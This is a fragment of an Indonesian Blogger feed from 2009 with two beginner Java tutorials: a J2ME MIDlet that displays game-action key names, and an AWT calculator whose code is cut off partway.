rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-4055754752526538508</id><published>2009-01-23T16:03:00.004+07:00</published><updated>2009-01-23T16:13:25.975+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pemograman Java'/><title type='text'>GameActions</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_0viGC6AqZAo/SXmKHLr1CDI/AAAAAAAAAEY/dKDejtQbtaw/s1600-h/3385601187.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 128px; height: 135px;" src="http://1.bp.blogspot.com/_0viGC6AqZAo/SXmKHLr1CDI/AAAAAAAAAEY/dKDejtQbtaw/s200/3385601187.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5294414692951066674" /&gt;&lt;/a&gt;&lt;br /&gt;Kali ini kita akan membuat Gambe actions, dengan menggunakan menginport Midletnya sekalian. IDE yang digunakan dalam contoh ini adalah Net-Beans 5.5 dengan mobility-nya...!&lt;br /&gt;lansung saja buat project baru di Net_Beansnya dengan nama file GameAction, lalu ketikan kode dibawah ini :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;import javax.microedition.midlet.*;&lt;br /&gt;import javax.microedition.lcdui.*;&lt;br /&gt;&lt;br /&gt;public class GameActions extends MIDlet&lt;br /&gt;{&lt;br /&gt;  private Display  display;       // The display&lt;br /&gt;  private GameActionCanvas canvas;   // Canvas &lt;br /&gt; &lt;br /&gt;  public GameActions()&lt;br /&gt;  {&lt;br /&gt;    display = Display.getDisplay(this);&lt;br /&gt;    canvas  = new GameActionCanvas(this);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  protected void startApp()&lt;br /&gt;  {&lt;br /&gt;    display.setCurrent( canvas );&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  protected void pauseApp()&lt;br /&gt;  { }&lt;br /&gt;&lt;br /&gt;  protected void destroyApp( boolean unconditional )&lt;br /&gt;  { }&lt;br /&gt; &lt;br /&gt;  public void exitMIDlet()&lt;br /&gt;  {&lt;br /&gt;    destroyApp(true);&lt;br /&gt;    notifyDestroyed();&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*--------------------------------------------------&lt;br /&gt;* GameActionCanvas.java&lt;br /&gt;*&lt;br /&gt;* Game action event handling&lt;br /&gt;*-------------------------------------------------*/&lt;br /&gt;class GameActionCanvas extends Canvas implements CommandListener&lt;br /&gt;{&lt;br /&gt;  private Command cmExit;          // Exit midlet&lt;br /&gt;  private String keyText = null;    // Key code text&lt;br /&gt;  private GameActions midlet;&lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Constructor&lt;br /&gt;  *-------------------------------------------------*/&lt;br /&gt;  public GameActionCanvas(GameActions midlet)&lt;br /&gt;  {&lt;br /&gt;    this.midlet = midlet;&lt;br /&gt;    &lt;br /&gt;    // Create exit command &amp; listen for events&lt;br /&gt;    cmExit = new Command("Exit", Command.EXIT, 1);&lt;br /&gt;    addCommand(cmExit);&lt;br /&gt;    setCommandListener(this);&lt;br /&gt;  } &lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Paint the text representing the key code &lt;br /&gt;  *-------------------------------------------------*/&lt;br /&gt;  protected void paint(Graphics g)&lt;br /&gt;  {&lt;br /&gt;    // Clear the background (to white)&lt;br /&gt;    g.setColor(255, 255, 255);&lt;br /&gt;    g.fillRect(0, 0, getWidth(), getHeight());&lt;br /&gt;    &lt;br /&gt;    // Set color and draw text&lt;br /&gt;    if (keyText != null)&lt;br /&gt;    {&lt;br /&gt;      // Draw with black pen&lt;br /&gt;      g.setColor(0, 0, 0);&lt;br /&gt;      // Center the text&lt;br /&gt;      g.drawString(keyText, getWidth()/2, getHeight()/2, Graphics.TOP | Graphics.HCENTER);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Command event handling&lt;br /&gt;  *-------------------------------------------------*/  &lt;br /&gt;  public void commandAction(Command c, Displayable d)&lt;br /&gt;  {&lt;br /&gt;    if (c == cmExit)&lt;br /&gt;      midlet.exitMIDlet();&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Game action event handling&lt;br /&gt;  * A game action will be converted into a key code &lt;br /&gt;  * and handed off to this method&lt;br /&gt;  *-------------------------------------------------*/  &lt;br /&gt;  protected void keyPressed(int keyCode)&lt;br /&gt;  {&lt;br /&gt;    switch (getGameAction(keyCode))&lt;br /&gt;    {&lt;br /&gt;      // Place logic of each action inside the case&lt;br /&gt;      case FIRE:&lt;br /&gt;      case UP: &lt;br /&gt;      case DOWN:&lt;br /&gt;      case LEFT:&lt;br /&gt;      case RIGHT:&lt;br /&gt;      case GAME_A:&lt;br /&gt;      case GAME_B:&lt;br /&gt;      case GAME_C:&lt;br /&gt;      case GAME_D:&lt;br /&gt;      default:&lt;br /&gt;        // Print the text of the game action&lt;br /&gt;        keyText = getKeyName(keyCode);&lt;br /&gt;    }        &lt;br /&gt;    repaint();&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-4055754752526538508?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/4055754752526538508/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/gameactions.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/4055754752526538508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/4055754752526538508'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/gameactions.html' title='GameActions'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_0viGC6AqZAo/SXmKHLr1CDI/AAAAAAAAAEY/dKDejtQbtaw/s72-c/3385601187.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-4178449360314934023</id><published>2009-01-16T16:43:00.003+07:00</published><updated>2009-01-23T15:57:25.075+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pemograman Java'/><title type='text'>Membuat Kalkulator dengan J Creator</title><content type='html'>MEmbuat Kalkulator dengan Menggunakan J Creator &lt;br /&gt;Tidak terlalu sulit, yang penting di PC Mu sudah ada minimal J2SDK lalu J Creator, Lalu Copy kan Kode Dibawah ini :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;import java.awt.*;&lt;br /&gt;import java.awt.event.*;&lt;br /&gt;&lt;br /&gt; public class CalculatorH2_DIIITKJ &lt;br /&gt; {&lt;br /&gt;  &lt;br /&gt;  Font Bold=new Font("Helvetica", Font.BOLD, 20);&lt;br /&gt;  Label TampilanLayar = new Label("MULAI",Label.RIGHT);&lt;br /&gt;  Label TampilanLayarkiri = new Label("",Label.RIGHT);&lt;br /&gt;  Label TampilanLayarkanan = new Label("",Label.CENTER);&lt;br /&gt;  Button Panggil_Simpanan=new Button("MR");&lt;br /&gt;  Button Bersihkan_Simpanan=new Button("MC");&lt;br /&gt; &lt;br /&gt;   &lt;br /&gt; public void map_KalkulOgut()&lt;br /&gt; { &lt;br /&gt; event_handler e1=new event_handler ( );&lt;br /&gt;  Frame KalkulOgut=new Frame(" ................................... ");&lt;br /&gt;  KalkulOgut.setResizable(true);&lt;br /&gt;  KalkulOgut.setSize(520,400);&lt;br /&gt;  KalkulOgut.setBackground(Color.blue);&lt;br /&gt;  KalkulOgut.setLayout(null);&lt;br /&gt;  &lt;br /&gt;    &lt;br /&gt;//Tampilan Display. bisa di edit menggunakan Label&lt;br /&gt;  TampilanLayar.setBounds(70,50,360,40);&lt;br /&gt;  TampilanLayar.setFont(new Font("Helvetica", Font.BOLD, 25));&lt;br /&gt;  TampilanLayar.setForeground(Color.white);&lt;br /&gt;  TampilanLayar.setBackground(Color.red);&lt;br /&gt;  KalkulOgut.add(TampilanLayar);&lt;br /&gt;  &lt;br /&gt;  TampilanLayarkanan.setBounds(68,48,364,44);&lt;br /&gt;  TampilanLayarkanan.setFont(new Font("Algerian", Font.BOLD, 40));&lt;br /&gt;  TampilanLayarkanan.setForeground(Color.red);&lt;br /&gt;  TampilanLayarkanan.setBackground(Color.green);&lt;br /&gt;  KalkulOgut.add(TampilanLayarkanan);&lt;br /&gt;  &lt;br /&gt;//Menambah Tombol 1 sampai dengan 0&lt;br /&gt;  Button simpanan=new Button("M+");&lt;br /&gt;  simpanan.setBounds(72,96,60,34);&lt;br /&gt;  simpanan.setBackground(Color.white);&lt;br /&gt;  simpanan.setForeground(Color.red);&lt;br /&gt;  simpanan.setFont(Bold);  &lt;br /&gt;  simpanan.addActionListener(e1);&lt;br /&gt;  KalkulOgut.add(simpanan);&lt;br /&gt;  &lt;br /&gt;  Bersihkan_Simpanan.setEnabled(false);&lt;br /&gt;  Bersihkan_Simpanan.setBounds(136,96,60,34);&lt;br /&gt;  Bersihkan_Simpanan.setBackground(Color.black);&lt;br /&gt;  Bersihkan_Simpanan.setForeground(Color.red);&lt;br /&gt;  Bersihkan_Simpanan.setFont(Bold);&lt;br /&gt;  Bersihkan_Simpanan.addActionListener(e1);&lt;br /&gt;  KalkulOgut.add(Bersihkan_Simpanan);&lt;br /&gt;&lt;br /&gt;  Panggil_Simpanan.setBounds(200,96,60,34);&lt;br /&gt;  Panggil_Simpanan.setBackground(Color.yellow);&lt;br /&gt;  Panggil_Simpanan.setForeground(Color.red);&lt;br /&gt;  Panggil_Simpanan.setFont(Bold);&lt;br /&gt;  Panggil_Simpanan.addActionListener(e1);&lt;br /&gt;  Panggil_Simpanan.setEnabled(false);&lt;br /&gt;  KalkulOgut.add(Panggil_Simpanan);  &lt;br /&gt;  &lt;br /&gt;  Button satu=new Button("1");&lt;br /&gt;  satu.setBounds(72,134,60,34);&lt;br /&gt;  satu.setBackground(Color.orange);&lt;br /&gt;  satu.setFont(Bold);&lt;br /&gt;  satu.addActionListener(e1);&lt;br /&gt;  KalkulOgut.add(satu);&lt;br /&gt;  &lt;br /&gt;  Button dua=new Button("2");&lt;br /&gt;  dua.addActionListener(e1);&lt;br /&gt;  dua.setBackground(Color.orange);&lt;br /&gt;  dua.setBounds(136,134,60,34);&lt;br /&gt;  dua.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(dua);&lt;br /&gt;  &lt;br /&gt;  Button tiga=new Button("3");&lt;br /&gt;  tiga.addActionListener(e1);&lt;br /&gt;  tiga.setBackground(Color.orange);&lt;br /&gt;  tiga.setBounds(200,134,60,34);&lt;br /&gt;  tiga.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(tiga);&lt;br /&gt;  &lt;br /&gt;  Button empat=new Button("4");&lt;br /&gt;  empat.setBackground(Color.orange);&lt;br /&gt;  empat.addActionListener(e1);&lt;br /&gt;  empat.setFont(Bold);&lt;br /&gt;  empat.setBounds(72,172,60,34);&lt;br /&gt;  KalkulOgut.add(empat);&lt;br /&gt;  &lt;br /&gt;  Button lima=new Button("5");&lt;br /&gt;  lima.setBackground(Color.orange);&lt;br /&gt;  lima.addActionListener(e1);&lt;br /&gt;  lima.setFont(Bold);&lt;br /&gt;  lima.setBounds(136,172,60,34);&lt;br /&gt;  KalkulOgut.add(lima);&lt;br /&gt;  &lt;br /&gt;  Button enam=new Button("6");&lt;br /&gt;  enam.setBackground(Color.orange);&lt;br /&gt;  enam.addActionListener(e1);&lt;br /&gt;  enam.setFont(Bold);&lt;br /&gt;  enam.setBounds(200,172,60,34);&lt;br /&gt;  KalkulOgut.add(enam);&lt;br /&gt;  &lt;br /&gt;  Button tujuh=new Button("7");&lt;br /&gt;  tujuh.setBackground(Color.orange);&lt;br /&gt;  tujuh.addActionListener(e1);&lt;br /&gt;  tujuh.setFont(Bold);&lt;br /&gt;  tujuh.setBounds(72,210,60,34);&lt;br /&gt;  KalkulOgut.add(tujuh);&lt;br /&gt;  &lt;br /&gt;  Button delapan=new Button("8");&lt;br /&gt;  delapan.setBackground(Color.orange);&lt;br /&gt;  delapan.addActionListener(e1);&lt;br /&gt;  delapan.setFont(Bold);&lt;br /&gt;  delapan.setBounds(136,210,60,34);&lt;br /&gt;  KalkulOgut.add(delapan);&lt;br /&gt;  &lt;br /&gt;  Button sembilan=new Button("9");&lt;br /&gt;  sembilan.setBackground(Color.orange);&lt;br /&gt;  sembilan.addActionListener(e1);&lt;br /&gt;  sembilan.setFont(Bold);&lt;br /&gt;  sembilan.setBounds(200,210,60,34);&lt;br /&gt;  KalkulOgut.add(sembilan);&lt;br /&gt;  &lt;br /&gt;  Button kosong=new Button("0");&lt;br /&gt;  kosong.setBackground(Color.orange);&lt;br /&gt;  kosong.addActionListener(e1);&lt;br /&gt;  kosong.setFont(Bold);&lt;br /&gt;  kosong.setBounds(136,248,60,34);&lt;br /&gt;  KalkulOgut.add(kosong);&lt;br /&gt;  &lt;br /&gt;  Button nanin =new Button("STIMIK - IKMI CIREBON");&lt;br /&gt;  nanin.setForeground(Color.red);&lt;br /&gt;  nanin.setBackground(Color.green);&lt;br /&gt;  nanin.addActionListener(e1);&lt;br /&gt;  nanin.setFont(Bold);&lt;br /&gt;  nanin.setBounds(72,290,358,50);&lt;br /&gt;  KalkulOgut.add(nanin);&lt;br /&gt;  &lt;br /&gt;  Label simbol =new Label("BRAVO MAHASISWA DIII TKJ KELAS H2 STIMIK ",Label.LEFT);&lt;br /&gt;  simbol.setForeground(Color.white);&lt;br /&gt;  simbol.setFont(Bold);&lt;br /&gt;  simbol.setBounds(33,350,550,50);&lt;br /&gt;  KalkulOgut.add(simbol);&lt;br /&gt;  &lt;br /&gt; //Tombol operasi&lt;br /&gt;  Button TombolBagi = new Button("BAGI");&lt;br /&gt;  TombolBagi.setBackground(Color.gray);&lt;br /&gt;  TombolBagi.addActionListener(e1);&lt;br /&gt;  TombolBagi.setBounds(264,134,100,34);&lt;br /&gt;  TombolBagi.setForeground(Color.green);&lt;br /&gt;  TombolBagi.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(TombolBagi);&lt;br /&gt;  &lt;br /&gt;  Button TombolKali = new Button("KALI");&lt;br /&gt;  TombolKali.setBackground(Color.gray);&lt;br /&gt;  TombolKali.addActionListener(e1);&lt;br /&gt;  TombolKali.setBounds(264,172,100,34);&lt;br /&gt;  TombolKali.setForeground(Color.green);&lt;br /&gt;  TombolKali.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(TombolKali);&lt;br /&gt;  &lt;br /&gt;  Button TombolPengurangan = new Button("KIRANG");&lt;br /&gt;  TombolPengurangan.setBackground(Color.gray);&lt;br /&gt;  TombolPengurangan.addActionListener(e1);&lt;br /&gt;  TombolPengurangan.setBounds(264,210,100,34);&lt;br /&gt;  TombolPengurangan.setForeground(Color.green);&lt;br /&gt;  TombolPengurangan.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(TombolPengurangan);&lt;br /&gt;  &lt;br /&gt;  Button TombolTambah= new Button("TAMBIH");&lt;br /&gt;  TombolTambah.setBackground(Color.gray);&lt;br /&gt;  TombolTambah.addActionListener(e1);&lt;br /&gt;  TombolTambah.setBounds(264,248,100,34);  &lt;br /&gt;  TombolTambah.setForeground(Color.green);&lt;br /&gt;  TombolTambah.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(TombolTambah);&lt;br /&gt;  &lt;br /&gt;  Button titik= new Button(".");&lt;br /&gt;  titik.setBackground(Color.gray);&lt;br /&gt;  titik.addActionListener(e1);&lt;br /&gt;  titik.setBounds(200,248,60,34);&lt;br /&gt;  titik.setForeground(Color.green);&lt;br /&gt;  titik.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(titik);&lt;br /&gt;  &lt;br /&gt;  Button TombolTambahKurang = new Button("+/-");&lt;br /&gt;  TombolTambahKurang.setBackground(Color.gray);&lt;br /&gt;  TombolTambahKurang.addActionListener(e1);&lt;br /&gt;  TombolTambahKurang.setBounds(72,248,60,34);&lt;br /&gt;  TombolTambahKurang.setForeground(Color.green);&lt;br /&gt;  TombolTambahKurang.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(TombolTambahKurang);&lt;br /&gt;  &lt;br /&gt;  Button Pembersih = new Button("C");&lt;br /&gt;  Pembersih.setBackground(Color.red);&lt;br /&gt;  Pembersih.addActionListener(e1);&lt;br /&gt;  Pembersih.setBounds(370,134,60,34);&lt;br /&gt;  Pembersih.setForeground(Color.white);&lt;br /&gt;  Pembersih.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(Pembersih);&lt;br /&gt;  &lt;br /&gt;  Button persenBae = new Button("%");&lt;br /&gt;  persenBae.setBackground(Color.gray);&lt;br /&gt;  persenBae.addActionListener(e1);&lt;br /&gt;  persenBae.setBounds(370,172,60,34);&lt;br /&gt;  persenBae.setForeground(Color.green);&lt;br /&gt;  persenBae.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(persenBae);&lt;br /&gt;  &lt;br /&gt;  Button satu_Dibagi_X = new Button("1/x");&lt;br /&gt;  satu_Dibagi_X.setBackground(Color.gray);&lt;br /&gt;  satu_Dibagi_X.addActionListener(e1);&lt;br /&gt;  satu_Dibagi_X.setBounds(370,210,60,34);&lt;br /&gt;  satu_Dibagi_X.setForeground(Color.green);&lt;br /&gt;  satu_Dibagi_X.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(satu_Dibagi_X);&lt;br /&gt;  &lt;br /&gt;  Button SamiSareng = new Button("=");&lt;br /&gt;  SamiSareng.setBackground(Color.gray);&lt;br /&gt;  SamiSareng.addActionListener(e1);&lt;br /&gt;  SamiSareng.setBounds(370,248,60,34);&lt;br /&gt;  SamiSareng.setForeground(Color.green);&lt;br /&gt;  SamiSareng.setFont(Bold);&lt;br /&gt;  KalkulOgut.add(SamiSareng);&lt;br /&gt;  KalkulOgut.setVisible(true);&lt;br /&gt;  }&lt;br /&gt; public static void main(String args[])&lt;br /&gt; {&lt;br /&gt;  &lt;br /&gt;  CalculatorH2_DIIITKJ m1=new CalculatorH2_DIIITKJ();&lt;br /&gt;  m1.map_KalkulOgut();&lt;br /&gt; }&lt;br /&gt;  String temp="";&lt;br /&gt;  String sign="";&lt;br /&gt;  double result=0;&lt;br /&gt;  &lt;br /&gt; //Membuat perubahan Hasil = sebelum 0&lt;br /&gt; &lt;br /&gt;  double temp_minus=0;&lt;br /&gt;  boolean flag_minus_first=true;&lt;br /&gt;  boolean mul_flag=true;&lt;br /&gt;  double mul_temp=1;&lt;br /&gt;  double memory;&lt;br /&gt;  boolean memory_flag=false;&lt;br /&gt;  boolean divide_flag=true;&lt;br /&gt;  double divide_temp=1;&lt;br /&gt;  boolean mr_flag=false;&lt;br /&gt;  &lt;br /&gt; ///Penggunaan mekanisme untuk penggunaan memori;&lt;br /&gt;  boolean point_flag=true;&lt;br /&gt;  &lt;br /&gt; //boolean tambah_bagi_kurang_flag=true;&lt;br /&gt;  private class event_handler &lt;br /&gt;  implements ActionListener&lt;br /&gt;  {&lt;br /&gt;  public void actionPerformed(ActionEvent e)&lt;br /&gt;  {&lt;br /&gt;  String cmd=e.getActionCommand();&lt;br /&gt;  System.out.println(cmd);&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt; &lt;br /&gt;  if(cmd=="+/-")&lt;br /&gt;  {&lt;br /&gt; //Tambah_bagi_pengurangan_flag=true&lt;br /&gt; //apabila pemakai telah menekan tombol +/- maka nilai dari temp akan ditampikan di layar&lt;br /&gt; //tampilan tidak menyaring hasil dari variabel&lt;br /&gt; &lt;br /&gt;  if(temp!="" )&lt;br /&gt; //&amp;&amp; plus_slash_minus_flag==true &amp;&amp; )&lt;br /&gt;  {&lt;br /&gt;  if(Double.parseDouble(temp)&gt;0)&lt;br /&gt;  {&lt;br /&gt;  temp=("KIRANG"+ temp);&lt;br /&gt;  System.out.println("temp="+temp);&lt;br /&gt;  TampilanLayar.setText(temp);&lt;br /&gt;  }&lt;br /&gt;  else if(Double.parseDouble(temp)&lt;0)&lt;br /&gt;  {&lt;br /&gt;  temp=temp.substring(1,temp.length());&lt;br /&gt;  System.out.println("temp="+temp);&lt;br /&gt;  &lt;br /&gt;  TampilanLayar.setText(temp);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //tambah_slash_kurang_flag=false;&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //enters when user press +/- and value from result variable is showing&lt;br /&gt; //on screen in that case temp is always empty conditionly&lt;br /&gt;  if(temp==" " )&lt;br /&gt;  &lt;br /&gt; //&amp;&amp; plus_slash_minus_flag==false)&lt;br /&gt;  {&lt;br /&gt;  String pm="";&lt;br /&gt;  pm=String.valueOf(result);&lt;br /&gt;  if(result&gt;0)&lt;br /&gt;  {&lt;br /&gt;  pm="KIRANG"+pm;&lt;br /&gt;  result=Double.parseDouble(pm);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  pm="";&lt;br /&gt;  }&lt;br /&gt;  else if(result&lt;0)&lt;br /&gt;  {&lt;br /&gt;  pm=pm.substring(1,pm.length());&lt;br /&gt;  result=Double.parseDouble(pm);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  pm="";&lt;br /&gt;  }&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt; &lt;br /&gt;  if(cmd=="%")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result/Double.parseDouble(temp);&lt;br /&gt;  result=result*100;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  }&lt;br /&gt; // kontruksi ada dibawah ini&lt;br /&gt;  }&lt;br /&gt; //****************************************************************************&lt;br /&gt; // kemandirian operasi&lt;br /&gt; &lt;br /&gt;  if(cmd=="1/x")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  double byx=0;&lt;br /&gt;  byx=Double.parseDouble(temp);&lt;br /&gt;  byx=1/byx;&lt;br /&gt;  temp=String.valueOf(byx);&lt;br /&gt;  TampilanLayar.setText(temp);&lt;br /&gt;  }&lt;br /&gt;  if(temp=="")&lt;br /&gt;  {&lt;br /&gt;  result=1/result;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //kontruksi dibawah ini juga coy...!&lt;br /&gt;  }&lt;br /&gt; //****************************************************************************&lt;br /&gt; //if(cmd=="+/-")&lt;br /&gt; //{&lt;br /&gt; //poin_flag=true;&lt;br /&gt; //}&lt;br /&gt; //****************************************************************************&lt;br /&gt;  &lt;br /&gt;  if(cmd=="MC")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt; //Harus menambahkan flag comaon dalam semua operasi &lt;br /&gt; //dan harus dicatat bila ada penambahan oprasi baru setelah di bawah ini&lt;br /&gt;  memory_flag=false;&lt;br /&gt;    &lt;br /&gt; //mempunyai makna tidak ada nilai yang di simpan dalam M+&lt;br /&gt;  memory=0;&lt;br /&gt;  Panggil_Simpanan.setEnabled(false);&lt;br /&gt;  Bersihkan_Simpanan.setEnabled(false);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt; &lt;br /&gt;  if(cmd=="M+")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(mr_flag==false)&lt;br /&gt;  &lt;br /&gt; //yang di gunakan untuk menyimpan dari suatu hasil&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  memory_flag=true;&lt;br /&gt;  temp=TampilanLayar.getText();&lt;br /&gt;  memory=Double.parseDouble(temp);&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  Panggil_Simpanan.setEnabled(true);&lt;br /&gt;  Bersihkan_Simpanan.setEnabled(true);&lt;br /&gt;  }&lt;br /&gt;  if(mr_flag==true)&lt;br /&gt;  {&lt;br /&gt;  System.out.println("ENTERED IN M+ where mr_flad=false");&lt;br /&gt;  &lt;br /&gt;  memory_flag=true;&lt;br /&gt;  result=Double.parseDouble(TampilanLayar.getText());&lt;br /&gt;  memory=result;&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  mr_flag=false;&lt;br /&gt;  Panggil_Simpanan.setEnabled(true);&lt;br /&gt;  Bersihkan_Simpanan.setEnabled(true);&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt; //****************************************************************************&lt;br /&gt;  if(cmd=="MR")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(memory_flag==true)&lt;br /&gt; //pemeriksaan nomor berapa saja yang disimpan dengan penggunaan M+&lt;br /&gt;  {&lt;br /&gt;  temp=String.valueOf(memory);&lt;br /&gt;  TampilanLayar.setText(temp);&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt; //****************************************************************************&lt;br /&gt;  if(cmd=="BAGI")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(sign=="KIRANG" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result-&lt;br /&gt;  Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  }&lt;br /&gt;  if(sign=="TAMBIH" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=Double.parseDouble(temp)+result;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KALI" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result*Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  }&lt;br /&gt;  sign="BAGI";&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  if(divide_flag==true)&lt;br /&gt;  {&lt;br /&gt;  divide_temp=Double.parseDouble(temp)/divide_temp;&lt;br /&gt;  System.out.println("Divide_temp="+divide_temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(divide_temp));&lt;br /&gt;  temp="";&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  result=divide_temp;&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  }&lt;br /&gt;  if(divide_flag==false &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result/Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt;  if(cmd=="KALI")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(sign=="BAGI" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result/Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  temp="";&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  }&lt;br /&gt;  if(sign=="TAMBIH" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=Double.parseDouble(temp)+result;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  mul_flag=false; &lt;br /&gt;  &lt;br /&gt; //pengujian statemen beta&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KIRANG" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result-Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  mul_flag=false; &lt;br /&gt;  &lt;br /&gt; /// pengujian statemen beta ;&lt;br /&gt;  }&lt;br /&gt;  sign="KALI";&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  if(mul_flag==true)&lt;br /&gt;  {&lt;br /&gt;  System.out.println("Entered in X where temp!=empty");&lt;br /&gt;  mul_temp=mul_temp*Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(mul_temp));&lt;br /&gt;  temp="";&lt;br /&gt;  result=mul_temp;&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  mul_flag=false;&lt;br 